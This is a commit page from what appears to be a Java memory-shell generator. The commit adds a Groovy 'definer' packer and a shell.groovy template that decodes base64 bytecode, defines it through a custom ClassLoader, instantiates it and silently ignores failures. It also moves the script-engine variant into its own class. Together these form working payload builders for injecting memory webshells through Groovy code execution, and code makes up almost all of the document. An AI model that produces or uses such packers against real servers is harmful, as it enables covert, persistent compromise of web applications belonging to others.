Skip to content

Commit a9aa684

Browse files
committed
feat: add groovy definer packer
1 parent 3a8d23b commit a9aa684

File tree

5 files changed

+97
-10
lines changed

5 files changed

+97
-10
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@
1515
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
1616
import com.reajason.javaweb.memshell.packer.el.ELPacker;
1717
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
18+
import com.reajason.javaweb.memshell.packer.groovy.GroovyDefinerPacker;
1819
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
20+
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
1921
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
2022
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
2123
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
@@ -90,6 +92,9 @@ public enum Packers {
9092
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
9193

9294
Groovy(new GroovyPacker()),
95+
GroovyDefiner(new GroovyDefinerPacker(), GroovyPacker.class),
96+
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
97+
9398
Freemarker(new FreemarkerPacker()),
9499
Velocity(new VelocityPacker()),
95100
JinJava(new JinJavaPacker()),
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.reajason.javaweb.memshell.packer.groovy;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
import lombok.SneakyThrows;
6+
import org.apache.commons.io.IOUtils;
7+
8+
import java.io.IOException;
9+
import java.nio.charset.Charset;
10+
import java.util.Objects;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2025/5/11
15+
*/
16+
public class GroovyDefinerPacker implements Packer {
17+
String template = null;
18+
19+
public GroovyDefinerPacker() {
20+
try {
21+
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
22+
} catch (IOException ignored) {
23+
24+
}
25+
}
26+
27+
@Override
28+
@SneakyThrows
29+
public String pack(GenerateResult generateResult) {
30+
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
31+
String injectorClassName = generateResult.getInjectorClassName();
32+
return template.replace("{{className}}", injectorClassName)
33+
.replace("{{base64Str}}", injectorBytesBase64Str);
34+
}
35+
}
Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,11 @@
11
package com.reajason.javaweb.memshell.packer.groovy;
22

3-
import com.reajason.javaweb.memshell.Packers;
4-
import com.reajason.javaweb.memshell.config.GenerateResult;
5-
import com.reajason.javaweb.memshell.packer.Packer;
3+
import com.reajason.javaweb.memshell.packer.AggregatePacker;
64

75
/**
86
* @author ReaJason
97
* @since 2024/12/13
108
*/
11-
public class GroovyPacker implements Packer {
12-
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
9+
public class GroovyPacker implements AggregatePacker {
1310

14-
@Override
15-
public String pack(GenerateResult generateResult) {
16-
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
17-
return template.replace("{{script}}", script);
18-
}
1911
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.memshell.packer.groovy;
2+
3+
import com.reajason.javaweb.memshell.Packers;
4+
import com.reajason.javaweb.memshell.config.GenerateResult;
5+
import com.reajason.javaweb.memshell.packer.Packer;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/13
10+
*/
11+
public class GroovyScriptEnginePacker implements Packer {
12+
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
13+
14+
@Override
15+
public String pack(GenerateResult generateResult) {
16+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
17+
return template.replace("{{script}}", script);
18+
}
19+
}
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class ClassDefiner extends ClassLoader {
2+
public ClassDefiner() {
3+
super(Thread.currentThread().getContextClassLoader());
4+
}
5+
6+
public byte[] decodeBase64(String bytecodeBase64) {
7+
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
8+
return decoder.decode(bytecodeBase64);
9+
}
10+
11+
public Class<?> defineClass(byte[] code) {
12+
return defineClass(null, code, 0, code.length);
13+
}
14+
15+
@Override
16+
public String toString() {
17+
String className = "{{className}}";
18+
String base64Str = "{{base64Str}}";
19+
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
20+
try {
21+
classLoader.loadClass(className).newInstance();
22+
} catch (Exception e) {
23+
try {
24+
byte[] bytecode = decodeBase64(base64Str);
25+
Class<?> clazz = defineClass(bytecode);
26+
clazz.newInstance();
27+
} catch (Exception ignored) {
28+
}
29+
}
30+
return className;
31+
}
32+
33+
static void main(String[] args) {
34+
new ClassDefiner().toString();
35+
}
36+
}

0 commit comments

Comments
 (0)